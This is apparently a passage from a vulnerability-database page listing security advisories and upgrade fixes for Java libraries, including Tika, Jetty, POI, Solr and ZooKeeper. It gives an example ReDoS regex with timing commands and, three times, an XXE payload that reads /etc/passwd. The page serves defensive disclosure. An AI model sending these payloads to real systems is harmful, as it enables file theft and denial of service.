regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.24.1 or higher.

References

• Apache Mailing List
• GitHub Commit - ICNS Parser
• GitHub Commit - MP3 Parser
• GitHub Commit - MP4 Parser
• GitHub Commit - OneNote Parser
• GitHub Commit - PDF Parser

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Denial of Service (DoS) such that servlets with multipart support (e.g. annotated with @MultipartConfig) that call HttpServletRequest.getParameter() or HttpServletRequest.getParts() may cause OutOfMemoryError when the client sends a multipart request with a part that has a name but no filename and very large content.

Note: This happens even with the default settings of fileSizeThreshold=0, which should stream the whole part content to disk. An attacker client may send a large multipart request and cause the server to throw OutOfMemoryError. However, the server may be able to recover after the OutOfMemoryError and continue its service -- although it may take some time.

Workaround

Users unable to upgrade can set the multipart parameter maxRequestSize, which must be set to a non-negative value.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.4.51, 10.0.14, 11.0.14, 12.0.0.beta0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub Release
• PoC

Overview

org.eclipse.jetty:jetty-server is a lightweight highly scalable java based web server and servlet engine.

Affected versions of this package are vulnerable to Information Exposure. The configuration of a Jetty server may be leaked as part of a HTTP 404 response. This is due to the DefaultHandler class producing an error page during an exception.

Remediation

Upgrade org.eclipse.jetty:jetty-server to version 9.2.28.v20190418, 9.3.27.v20190418, 9.4.17.v20190418 or higher.

References

• Eclipse Report
• GitHub Commit
• GitHub Issue

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. When using the tool XSSFExportToXml to convert user-provided Microsoft Excel documents, a specially crafted document can allow an attacker to read files from the local filesystem or from internal network resources via XML External Entity (XXE) Processing.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 4.1.0 or higher.

References

• Apache Security Advisory
• GitHub Commit
• GitHub Comparison

Overview

commons-fileupload:commons-fileupload is a component that provides a simple yet flexible means of adding support for multipart file upload functionality to servlets and web applications.

Affected versions of this package are vulnerable to Time of Check Time of Use (TOCTOU) if the attacker has write access to the /tmp directory.

Details

Commons FileUpload provides file upload capability for Servlets and web applications. During the upload process, FileUpload may (depending on configuration) save the uploaded file temporarily on disk. By default this will be in the system wide tmp directory. Because the temporary files have predictable file names and are stored in a publicly writeable location they are vulnerable to a TOCTOU attack.

A successful attack requires that the attacker has write access to the tmp directory. The attack can be prevented by setting the repository to a non-publicly writeable location. The documentation for FileUpload does not highlight the potential security implications of not setting a repository, nor do the provided examples set a repository. This may have caused users to use FileUpload in an insecure manner.

Remediation

Upgrade commons-fileupload:commons-fileupload to version 1.3 or higher.

References

• Commons-user Mailing List
• Github ChangeLog
• GitHub Commit
• Redhat Bugzilla

Overview

commons-httpclient:commons-httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM) due to not verifing the requesting server's hostname agains existing domain names in the SSL Certificate. The AbstractVerifier does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a certificate with a subject that specifies a common name in a field that is not the CN field.

NOTE: this issue exists because of an incomplete fix for CVE-2012-5783.

Remediation

There is no fixed version for commons-httpclient:commons-httpclient.

References

• GitHub Commit
• NVD

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Denial of Service (DoS) via the http/conn/ssl/SSLConnectionSocketFactory.java class. It ignores the http.socket.timeout configuration setting during an SSL handshake, which allows remote attackers to cause a denial of service (HTTPS call hang) via unspecified vectors.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.3.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• Jira Issue
• NVD
• RedHat Bugzilla Bug

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The OPC SAX setup in Apache POI allows remote attackers to read arbitrary files via an OpenXML file containing an XML external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 3.10.1, 3.11-beta2 or higher.

References

• GitHub Commit
• Jira Issue
• Redhat Bugzilla

Overview

org.apache.poi:poi-ooxml is a Java API To Access Microsoft Format Files.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Apache POI before 3.10.1 and 3.11.x before 3.11-beta2 allows remote attackers to cause a denial of service (CPU consumption and crash) via a crafted OOXML file, aka an XML Entity Expansion (XXE) attack.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade org.apache.poi:poi-ooxml to version 3.11-beta2 or higher.

References

• GitHub Commit
• Jira Issue
• Redhat Bugzilla

Overview

org.apache.solr:solr Cross-site Scripting (XSS) vulnerability in the Admin UI Plugin / Stats page in Apache Solr 4.x before 4.10.3 allows remote attackers to inject arbitrary web script or HTML via the fieldvaluecache object.

Details

<>

References

• NVD

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF). The shards parameter does not have a corresponding whitelist mechanism, a remote attacker with access to the server could make Solr perform an HTTP GET request to any reachable URL.

Remediation

Upgrade org.apache.solr:solr-core to version 7.6.0 or higher.

References

• Apache Mail Archives
• Jira Issue

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Access Control Bypass. ZooKeeper’s getACL() method doesn’t check any permission when retrieving the ACLs of the requested node and returns all information contained in the ACL Id field as plain text string. If Digest Authentication is in use, the unsalted hash value will be disclosed by the getACL() method for unauthenticated or unprivileged users.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.14, 3.5.5 or higher.

References

• GitHub Commit
• Jira Issue
• ZooKeeper Security

Overview

org.apache.zookeeper:zookeeper is a centralized service for maintaining configuration information, naming, providing distributed synchronization, and providing group services.

Affected versions of this package are vulnerable to Insufficiently Protected Credentials. The logs cleartext admin passwords, which allows local users to obtain sensitive information by reading the log.

Remediation

Upgrade org.apache.zookeeper:zookeeper to version 3.4.7, 3.5.1-alpha or higher.

References

• Jira Issue
• RedHat Bugzilla Bug

MPL-2.0 license